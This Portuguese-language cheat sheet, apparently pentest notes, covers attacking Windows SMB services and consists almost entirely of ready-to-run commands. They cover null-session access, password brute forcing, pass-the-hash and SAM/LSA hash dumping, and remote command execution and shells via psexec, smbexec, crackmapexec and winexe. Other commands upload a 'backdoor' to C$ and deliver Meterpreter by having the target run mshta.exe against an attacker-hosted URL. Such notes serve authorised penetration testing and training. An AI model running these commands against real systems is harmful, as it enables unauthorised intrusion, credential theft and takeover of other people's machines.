SMB

Habilitando SMB2

Caso queira habilitar o SMB2 no Linux, adicione a linha abaixo no final do arquivo /etc/samba/smb.conf:

min protocol = SMB2

Após isso, reinicie o serviço de SMB:

sudo service smbd restart

Utilizando Windows como Host Atacante

Net View

Listando todos os diretórios compartilhados

net view \\<ip>
net view \\<ip> /all

Listando arquivos de um determinado diretório

net view \\<ip>\<directory>

Net Use

Enumeração SMB com ataque a Sessão Nula / Anônima

Técnica também conhecida como red button.

net use \\<ip> "" /u:""
net use \\<ip>\IPC$ "" /u:""

EXPLICAÇÃO:

IPC$ = Processo oculto /u:"" = Usuário interno anônimo e as aspas duplas é senha nula

Caso recebe uma mensagem de sucesso, execute o comando abaixo para verificar se foi criado uma conexão com o host e caso esteja ok, volte a utilizar o net view para conectar com o host.

net use

Criando unidade de rede

Agora já podemos criar uma unidade de rede. Escolha a letra de preferência, lembrando que o c já é reservado pelo Windows em si.

net use <letra>: \\<ip>\<directory>

Desmontando uma unidade de rede

net use <letra>: /delete

Excluindo uma máquina que estabeleceu uma sessão

net use \\<ip> /delete

Adivinhação de Senha Remota

Para que funcione, as portas 139, 445 (SMB) estejam abertas:

net use \\<ip>|IPC$ * /u:<usuario>

OBS: O asterísco (*) no lugar da senha faz o sistema remoto solicitar uma. Se o nome do login falhar, tente usar DOMINIO\conta.

Brute Force

Arquivo com senha separados por linha. Nesse exemplo, estamos utilizando o usuário administrator.

for /f %i in (<wordlist_pass.txt>) do net use \\<ip> %i /u:administrator

Arquivo com usuário e senha separados por espaço, sendo cada combinação em uma linha

for /f "tokens=1,2" %i in (<wordlist_user_pass.txt>) do net use \\<ip> %j /u:%i

Utilizando Linux como Host Atacante

Alterando Senha SMB Remotamente

smbpasswd

smbpasswd -r <ip> -U <user>

Enumeração com NMAP

Vulnerabilidades

nmap --script smb-vuln* -p445 <ip_alvo>

Versões

nmap --script smb-protocols -p445 <ip_alvo>

Informações gerais sobre o host alvo

nmap -p 139,445 --script=smb-os-discovery <ip>

Compartilhamento (sem autenticação)

nmap --script smb-enum-shares -p445 <ip_alvo>

Compartilhamento (com autenticação)

nmap <ip> -p445 --script smb-enum-shares --script-args smbusername=<user>,smbpassword=<pass>

Usuários (com autenticação)

nmap <ip> -p445 --script smb-enum-users --script-args smbusername=<user>,smbpassword=<pass>

Enumerando todas as pastas e drivers compartilhados, em seguida executando o comando ls em cada compartilhamento

nmap -p445 <ip> --script smb-enum-shares,smb-ls --script-args smbusername=<user>,smbpassword=<pass>

Analisando se o alvo está com o SMB vulnerável.

nmap -v -p 139,445 --script=smb-vuln-ms08-067 <ip>

CUIDADO: Podemos ver o argumento --script-args=unsafe=1 sendo declarado junto com o comando acima, porém isso provavelmente irá travar o SO vulnerável. Cuidado ao executar um comando com esse argumento.

Usuários logados atualmente

nmap --script smb-enum-sessions -p445 <ip_alvo>

Domínios

nmap -p445 10.4.28.22 --script smb-enum-domains --script-args smbusername=<user>,smbpassword=<pass>

Grupos de Usuários

nmap -p445 10.4.28.22 --script smb-enum-groups --script-args smbusername=<user>,smbpassword=<pass>

Serviços

nmap -p445 10.4.28.22 --script smb-enum-services --script-args smbusername=<user>,smbpassword=<pass>

Estatísticas do Servidor

nmap <ip> -p445 --script smb-server-stats --script-args smbusername=<user>,smbpassword=<pass>

Metasploit

Meterpreter (necessário ter RCE)

# Atacante
msfconsole -q
use exploit/windows/misc/hta_server
exploit
# Copie a URL gerada

# Alvo
mshta.exe <url_gerada>

# Atacante
session -i <number_session>

Pegando a versão do SMB

use auxiliary/scanner/smb/smb2
set RHOSTS <ip_alvo>
set THREAD 10
exploit

OBS.: Os comandos abaixos talvez precise de usuário, senha e domínio, então utilize os parâmetros SMBUser, SMBPass e DOMAIN para ter um resultado mais preciso.

Detalhes como SO, Hostname e Domain

use auxiliary/scanner/smb/smb_version
set RHOSTS <ip_alvo>
set THREAD 10
exploit

Brute Force / Verificação de Login

msfconsole
use auxiliary/scanner/smb/smb_login
set RHOSTS <ip_alvo>
set SMBUser <usuario>
set SMBPass <senha> # Caso não saiba a senha, utilize um brute force: set PASS_FILE "/home/wordlist.txt"
set THREADS 10
run

OBS.: Caso a senha esteja certa, será mostrado uma linha verde com sinal [+] no início, seguido da mensagem Domain is ignored for user <user>

Agora que já sabemos a senha, podemos enumerar as pastas compartilhadas. Para isso vamos usar o seguinte Auxiliary: use auxiliary/scanner/smb/smb_enumshares. Agora podemos enumerar os usuários, utilizando o seguinte Auxiliary: use auxiliary/scanner/smb/smb_lookupsid.

Diretórios que estão sendo compartilhados

use auxiliary/scanner/smb/smb_enumshares
set RHOSTS <ip_alvo>
set THREAD 10
exploit

Usuários do SMB

use auxiliary/scanner/smb/smb_enumusers
set RHOSTS <ip_alvo>
set THREAD 10
exploit

Retorna os usuários através de pesquisas de SID com força bruta. Este módulo pode enumerar contas locais e de domínio, definindo ACTION como LOCAL e DOMAIN

use auxiliary/scanner/smb/smb_lookupsid
set RHOSTS <ip_alvo>
set THREAD 10
exploit

SMBVer

Retorna a versão do SMB

./smbver.sh <ip_alvo>

SMBMap

Verificando sessão nula

smbmap -H <ip> -u '' -p ''

Listando diretórios e arquivos uma unidade. No exemplo abaixo utilizei o C$

smbmap -u <user> -p <pass> -H <target> -r 'C$'

Executando comando no SO alvo.

smbmap -u <user> -p <pass> -d . -H <ip> -x '<command>'

Listando arquivos, porém excluindo alguns diretórios. No exemplo abaixo os diretório IPC$ e SYSVOL não serão listados.

smbmap -u <user> -p <pass> -H <ip> -r --exclude IPC$ SYSVOL

Acessando os diretórios compartilhados que podem ser acessados e verificando suas devidas permissões.

# -H = Hostname
# -R = Modo Recursivo
# -D = Domain
smbmap -H <ip_alvo> -u '<user>' -p '<pass>' -d <domain>
smbmap -H <ip_alvo> -u 'guest' -p '' -d .
smbmap -H <ip_alvo> -u '<user>' -p '<pass>' -R <directory>
smbmap -H <ip_alvo> -R

Realizando download de arquivo. Note que aqui estamos utilizando o C$ como diretório de destino.

smbmap -H <ip_alvo> -u '<user>' -p '<pass>' --download '<C$\file>'

Realizando upload de arquivo. Note que aqui estamos utilizando o C$ como diretório de destino.

smbmap -H <ip_alvo> -u '<user>' -p '<pass>' --upload '</root/backdoor>' '<C$\backdoor>'

Podemos encontrar arquivos XML em SYSVOL, que contém hashes de usuários. Então baixe todos os arquivo com determinada extensão.

smbmap -u <user> -p <pass> -H <target> -R <directory> -A <extension_download>

Listando os drivers

smbmap -u <user> -p <pass> -H <target> -L

SMBClient

Corrigindo Acessos do SMBCLIENT

Adicione a linha abaixo em /etc/samba/smb.conf para que o programas como smblcient e enum4linux trabalhem corretamente.

client min protocol = LANMAN1

Após isso, reinicie o serviço com o seguinte comando:

service smbd restart

Comandos Básicos

Caso esteja permitido acesso sem credenciais (Sessões Nulas), irá mostrar as informações, caso contrário, irá pedir autenticação.

# -L Obtém a lista de compartilhamento
smbclient -L \\\\<ip_alvo>
smbclient -L \\\\<ip_alvo>\\<share>
smbclient -L \\\\<ip_alvo>\\<share> -U <user>
smbclient -L \\\\<ip_alvo>\\<share> -U <user> -P -W <domain>

Caso precise de usuário e senha, utilize os parâmentros -U e -P. Para não emitir senha, pode-se utilizar a opção -N (No Pass).

Porém, também podemos informar a senha já no comando dessa form, apesar de não ser o recomendado.

 smbclient <ip> -U '<user>' --password=<pass>

Caso esteja realizar o smbclient contra um host em um domínio, deverá informá-lo, como no exemplo abaixo:

smbclient -L \\\\<ip_alvo> -W <domain> -U '<user>'

Atente-se que, no exemplo acima estamos utilizando a opção -L para apenas listar os diretórios. Caso queira deixar o smbclient no modo interativo, retire o -L e utilize o / ao invés de \. Quando temos o aceso no modo interativo, podemos realizar o download dos arquivos, executando os comando abaixo:

mask ""
recurse ON
prompt OFF
cd ..
mget *

Caso queira baixar somente 1 arquivo, utilize o comando:

get <file>

Ou se preferir, podemos fazer isso é um única linha de comando:

# Utilizando sessão nula
smbclient //<ip>/home -U ""%"" -c 'mask "" ; recurse ON ; prompt OFF ; cd .. ; mget *'

# Utilizando senha
smbclient //<ip>/<dir> -U "<user>"%"<pass>" -c 'mask "" ; recurse ON ; prompt OFF ; cd .. ; mget *'

Acessando SMB v1

As vezes não é possível acessar o host devido a versão do SMB, entao devemos alterar a versão de conexão do smbclient.

smbclient -L \\<ip> -N --option='client min protocol=NT1'

Podemos também executar comandos no SO, caso o usuário possua permissões.

# Conectando no servidor
smbclient -U "username%password" //<ip>/<share>

# Executando o comando
logon "/=<command>" 

SMBGet

Realizando download dos arquivos via SMB

smbget -R smb://<ip_alvo>/<share> -U <user>

Nullinux

Ferramenta para enumeração do SO, Domínio, diretórios compartilhados e usuários do SMB.

# Acesso anônimo
python3 nullinux.py <ip>

# Acesso autenticado para ver compartilhamentos SMB
python3 nullinux -shares -u <user> -p <pass> <ip>

Upload de Arquivo

curl -s --upload-file <file> -u '<domain.com\user>' smb://<ip>/<directory>/ -L

Reverse Shell com SMB

PsExec.py

python3 psexec.py <user>:'<pass>'@<ip>
python3 psexec.py <domain>/<user>:'<pass>'@<ip>

Metasploit

msfconsole
use exploit/windows/smb/psexec
set RHOST <ip>
set SMBDomain <domain>
set SMBUser <user>
set SMBPass <pass>
exploit

OBS.: Caso não dê certo, altere o target.

SMBExec (Impacket)

smbexec.py <user>:'<pass>'@<ip>

Extraindo Políticas de Senhas

crackmapexec

Sempre bom utilizar o comando abaixo e verificar o valor de Minimum password length para sabermos a quantidade mínima de caracteres que ase senhas pocssuem e Account Lockout Threshold para sabermos se o usuário corre o risco de ser bloqueado após algumas tentativas de senhas incorretas

crackmapexec smb <ip> --pass-pol
crackmapexec smb <ip> --pass-pol -u '' -p ''

polenum

polenum -u '' -p '' <ip>
polenum -u '' -p '' -d <domain.controler> <ip>

crackmapexec

Nos exemplos, estamos utilizando o protocolo smb, porém o crackmapexec trabalha com os protocolos: http, mssql, smb, ssh ewinrm.

Atacando por Sessão Nula

crackmapexec smb <ip_alvo> -u '' -p ''

Baixando Arquivos

Baixando todos os arquivos do servidor SMB para /tmp/cme_spider_plus/

crackmapexec smb <ip> -u '<user>' -p '<pass>' -M spider_plus -o READ_ONLY=false

Baixando os arquivos SMB de um determinado compartilhamento

crackmapexec smb <ip> -u <user> -p <pass> -M spider_plus --share '<directory>'

Pass-The-Hash

Pegando os hashes

crackmapexec smb <ip_alvo> -u <user> -H LMHASH:NTHASH
crackmapexec smb <ip_alvo> -u <user> -H NTHASH
crackmapexec smb <ip_alvo> -u <user> -p <pass> --sam
crackmapexec smb <ip_alvo> -u <user> -p <pass> --lsa

DICA: Caso tenha acesso ao Meterpreter, utilize o comando hashdump para pegar as hashes. Elas são separadas por um : então utilize a quarta parte para executar a autenticação via hash, mostrada logo abaixo.

Autenticando com os hashes

crackmapexec smb <ip_alvo> -u <user> -H <hash>

Varrendo a rede por alvos com SMB ativos

# Sessão Nula
crackmapexec 192.168.1.0/24

# Autenticação padrão
crackmapexec 192.168.1.0/24 -u '<user>' -p '<password>'

Enumerando Usuários do AD

crackmapexec smb <ip> -u '<user>' -p '<pass>' --rid-brute

Descobrindo Compartilhamentos

crackmapexec smb <ip> --shares
crackmapexec smb <ip> -u '' -p '' --shares
crackmapexec smb <ip> -u '' --shares
crackmapexec smb <ip> -u <user> -p <pass> --shares

Brute Force

# Usuário e Senha
crackmapexec smb <ip_alvo> -u <wordlist_user.txt> -p <wordlist_pass.txt>

# Continua o Brute Force depois de locaizar alguma credencial válida 
crackmapexec smb <ip_alvo> -u <wordlist_user.txt> -p <wordlist_pass.txt> --continue-on-success

# Hash NTLM
crackmapexec smb <ip_alvo> -u <wordlist_user.txt> -H <wordlist_hash_ntlm>

OBS.: Caso receba a mensagem STATUS_PASSWORD_MUST_CHANGE, significa que a senha está correta, porém é preciso alterá-la para ter acesso. Verifique no início dessa página, como alterar a senha SMB remotamente utilizando o smbpasswd.

Trabalhando com arquivos de múltiplos servidores

Insira um IP por linha no arquivo txt

crackmapexec smb <servers.txt> -u <user> -p <password>

OBS.: Caso apareça escrito (Pwn3d!) em amarelo, significa que o usuário tem permissão de execução nesse host. Geralmente aparece na própria máquina do usuário, essa flag irá aparecer.

Trabalhando com hosts em um Domínio

crackmapexec smb <ip> -d <domain> -u <user> -p <password>

Executando comando no SO

crackmapexec smb <ip> -u <user> -p '<password>' -x '<command>'

Listando Módulos do crackmapexec

Isso é útil para ativarmos e desativarmos módulos (serviços) do SO alvo

crackmapexec smb <ip> -u <user> -p '<password>' -L

Verificando opções de um determinado Módulo

crackmapexec smb <ip> -u <user> -p '<password>' -M <module> --options

Ativando um Módulo

crackmapexec smb <ip> -u <user> -p '<password>' -M <module> -o Action=enable

WinExe

winexe -U <user>%<pass> //<ip> '<command>'

Caso queira deixar o terminal interativo, basta chamar o cmd.exe.

winexe -U <user>%<pass> //<ip> 'cmd.exe'

Hydra

Brute Force

hydra -L <user.txt> -P <pass.txt> <ip> smb2

Impacket (Python)

Enumerando usuários (SMB)

lookupsid.py '<user>:<password>'@<ip>

Sites

https://github.com/byt3bl33d3r/CrackMapExec/wiki/Using-Credentials,-NULL-Sessions,-PtH-Attacks
https://www.ivoidwarranties.tech/posts/pentesting-tuts/cme/crackmapexec/

# NulLinux
https://github.com/m8r0wn/nullinux.git

Last updated